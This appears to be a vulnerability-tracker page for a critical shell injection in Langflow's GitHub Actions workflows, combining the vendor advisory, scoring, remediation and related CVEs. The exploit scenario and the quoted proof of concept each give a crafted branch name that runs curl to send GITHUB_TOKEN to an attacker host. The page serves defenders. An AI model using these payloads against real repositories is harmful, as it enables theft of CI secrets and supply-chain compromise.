Skip to main content

Langflow CVE-2026-33475

| EUVDEUVD-2026-14790 CRITICAL
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-03-24 GitHub_M
9.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Create malicious pull request with crafted branch name
  2. Exploit
    GitHub Actions workflow interpolates unsanitized context variable
  3. Execution
    Shell injection executed in CI/CD environment
  4. Impact
    Extract secrets and manipulate infrastructure

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Attacker must create a pull request or push to a branch with a malicious name containing shell metacharacters in the Langflow GitHub repository. The vulnerable GitHub Actions workflows must be enabled. No authentication required; any GitHub user can create pull requests. Exploitation occurs during CI/CD pipeline execution when workflows interpolate unsanitized github.head_ref or similar context variables in shell commands.

Impact

This vulnerability presents significant real-world risk despite no current KEV listing or EPSS score data being provided. The CVSS 3.1 score of 9.1 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates network-exploitable attacks requiring no privileges or user interaction with low complexity, though integrity and confidentiality impacts are high while availability impact is none. The existence of a documented proof-of-concept demonstrating GITHUB_TOKEN exfiltration via malicious branch names significantly lowers the exploitation barrier. The attack is highly automatable as it requires only forking a repository and creating a pull request with a crafted branch name, making it trivial for attackers to target any public fork of Langflow with Actions enabled. The technical impact is severe, potentially enabling supply chain compromise through CI/CD pipeline manipulation, malicious release injection, and secret theft. However, the scope is somewhat limited to CI/CD environments rather than production runtime systems, and requires the target repository to have GitHub Actions enabled and accepting pull requests from forks. Organizations running Langflow in production are not directly vulnerable unless they also maintain CI/CD pipelines using the affected workflow files. The combination of critical CVSS score, available POC, low attack complexity, and supply chain implications makes this a genuine high-priority issue for organizations maintaining Langflow forks or contributing to the project.

Exploit ScenarioDerived

An attacker forks the public Langflow repository on GitHub and creates a new branch with a malicious name such as 'feature && curl https://attacker-controlled-domain.com/exfil?token=$GITHUB_TOKEN #' then opens a pull request to the upstream repository or another fork. When the automated CI/CD pipeline triggers the vulnerable GitHub Actions workflows, the unsanitized branch name is interpolated directly into shell commands, causing the injected curl command to execute and exfiltrate the GITHUB_TOKEN to the attacker's server. With the stolen token, the attacker can then push malicious code to protected branches, manipulate releases, inject backdoors into Docker images published by the CI pipeline, or steal additional secrets stored in the repository environment.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 24, 2026

An unauthenticated shell injection vulnerability exists in Langflow's GitHub Actions CI/CD workflows, allowing attackers to execute arbitrary commands by crafting malicious branch names or pull request titles. Langflow versions prior to 1.9.0 are affected, specifically the langflow-ai:langflow product. A proof-of-concept exploit exists demonstrating secret exfiltration via crafted branch names, enabling attackers to steal GITHUB_TOKEN credentials and potentially compromise the supply chain without any authentication required.

RemediationAI

Upgrade Langflow to version 1.9.0 or later, which patches the vulnerability according to the vendor advisory at https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4w. The fix involves refactoring all affected GitHub Actions workflows to use environment variables instead of direct interpolation of GitHub context variables in run commands, specifically wrapping user-controlled values in double quotes and assigning them to intermediate environment variables before use in shell commands. Until patching is possible, organizations maintaining Langflow forks should implement workflow restrictions by disabling GitHub Actions on forks, requiring manual approval for all workflow runs from first-time contributors via repository settings, or implementing branch protection rules that prevent workflow execution from untrusted branches. Additionally, apply the principle of least privilege to GitHub Actions by using fine-grained personal access tokens instead of GITHUB_TOKEN where possible and implementing secret scanning to detect potential token leakage.

Affected VersionsENISA

langflow < 1.9.0

Affected Packages

euvd langflow fix: 1.9.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects Langflow (cpe:2.3:a:langflow-ai:langflow:*:*:*:*:*:*:*:*), an AI-powered workflow building and deployment tool. The root cause is CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component), specifically manifesting as shell command injection in GitHub Actions workflows. Multiple workflow files including deploy-docs-draft.yml, docker-build.yml, release_nightly.yml, and python_test.yml directly interpolate user-controlled GitHub context variables such as github.head_ref and github.event.pull_request.title into shell run commands without sanitization. The YAML interpolation syntax ${{ ... }} evaluates these variables at workflow runtime, and when user-supplied values contain shell metacharacters or command separators like semicolons or ampersands, they are executed by the shell interpreter (typically bash) in the CI environment with the privileges of the GitHub Actions runner.

Know when Langflow gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
Analysis Updated
Apr 16, 2026 - 05:49 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
1.9.0
PoC Detected
Mar 24, 2026 - 19:13 vuln.today
Public exploit code
CVE Published
Mar 24, 2026 - 12:54 nvd
CRITICAL 9.1

DescriptionGitHub Advisory

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

Details

Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:

yaml
run: |
  validate_branch_name "${{ github.event.pull_request.head.ref }}"

Or:

yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps

Since github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

PoC

  1. Fork the Langflow repository
  2. Create a new branch with the name:
bash
   injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  1. Open a Pull Request to the main branch from the new branch
  2. GitHub Actions will run the affected workflow (e.g., deploy-docs-draft.yml)
  3. The run: step containing:
yaml
   echo "Branch: ${{ github.head_ref }}"

Will execute:

bash
   echo "Branch: injection-test"
   curl https://attacker.site/exfil?token=$GITHUB_TOKEN
  1. The attacker receives the CI secret via the exfil URL.

---

Impact

  • Type: Shell Injection / Remote Code Execution in CI
  • Scope: Any public Langflow fork with GitHub Actions enabled
  • Impact: Full access to CI secrets (e.g., GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

---

Suggested Fix

Refactor affected workflows to use environment variables and wrap them in double quotes:

yaml
env:
  BRANCH_NAME: ${{ github.head_ref }}
run: |
  echo "Branch is: \"$BRANCH_NAME\""

Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.

---

Affected Files (Langflow 1.3.4)

  • .github/actions/install-playwright/action.yml
  • .github/workflows/deploy-docs-draft.yml
  • .github/workflows/docker-build.yml
  • .github/workflows/release_nightly.yml
  • .github/workflows/python_test.yml
  • .github/workflows/typescript_test.yml

Executive ViewAI

Why It Matters

Langflow versions prior to 1.9.0 contain a critical unauthenticated shell injection vulnerability in GitHub Actions workflows that allows attackers to execute arbitrary commands and steal CI/CD credentials by crafting malicious branch names or pull request titles, directly threatening supply chain security and credential exposure. This vulnerability requires immediate patching as proof-of-concept code exists and exploitation requires no authentication, creating immediate risk for any organization using affected Langflow versions in automated build pipelines.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Additionally, until patched: implement GitHub Actions branch protection rules requiring code review before merge; restrict branch naming conventions to alphanumeric characters and hyphens; audit and minimize GITHUB_TOKEN permissions to read-only where possible; monitor CI/CD logs for anomalous command execution; consider temporarily disabling GitHub Actions workflows on untrusted branches.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-3248 CRITICAL POC
9.8 Apr 07

Langflow before 1.3.0 allows unauthenticated remote code injection through the /api/v1/validate/code endpoint, enabling

CVE-2026-0770 CRITICAL POC
9.8 Jan 23

Langflow has a third RCE vulnerability via exec_globals (EPSS 10.0%) allowing inclusion of untrusted code that executes

CVE-2025-34291 CRITICAL POC
9.4 Dec 05

Account takeover and remote code execution in Langflow AI workflow platform versions ≤1.6.9 due to a CORS misconfigurati

CVE-2026-0768 CRITICAL POC
9.8 Jan 23

Langflow has a code injection vulnerability in the code component (EPSS 2.6%) enabling remote code execution through the

CVE-2026-0769 CRITICAL POC
9.8 Jan 23

Langflow has an eval injection in eval_custom_component_code (EPSS 2.0%) enabling remote code execution through crafted

CVE-2026-10134 CRITICAL POC
10.0 Jun 30

Remote code execution in IBM Langflow OSS 1.0.0 through 1.9.3 lets an unauthenticated attacker inject and run arbitrary

CVE-2026-27966 CRITICAL POC
9.8 Feb 26

Code injection in Langflow CSV Agent node before 1.8.0. The node hardcodes allow_dangerous_code=True, enabling arbitrary

CVE-2024-37014 CRITICAL POC
9.8 Jun 10

Langflow through 0.6.19 allows remote code execution if untrusted users are able to reach the "POST /api/v1/custom_compo

CVE-2026-105697 CRITICAL POC
9.9 Oct 05

OS command injection in Langflow's MCP stdio transport allows an attacker who can reach the MCP server configuration end

CVE-2024-48061 CRITICAL POC
9.8 Nov 04

langflow <=1.0.18 is vulnerable to Remote Code Execution (RCE) as any component provided the code functionality and the

CVE-2024-42835 CRITICAL POC
9.8 Oct 31

langflow v1.0.12 was discovered to contain a remote code execution (RCE) vulnerability via the PythonCodeTool component.

CVE-2026-21445 CRITICAL POC
9.1 Jan 02

Langflow before 1.7.0.dev45 exposes multiple API endpoints without authentication, allowing unauthenticated access to us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy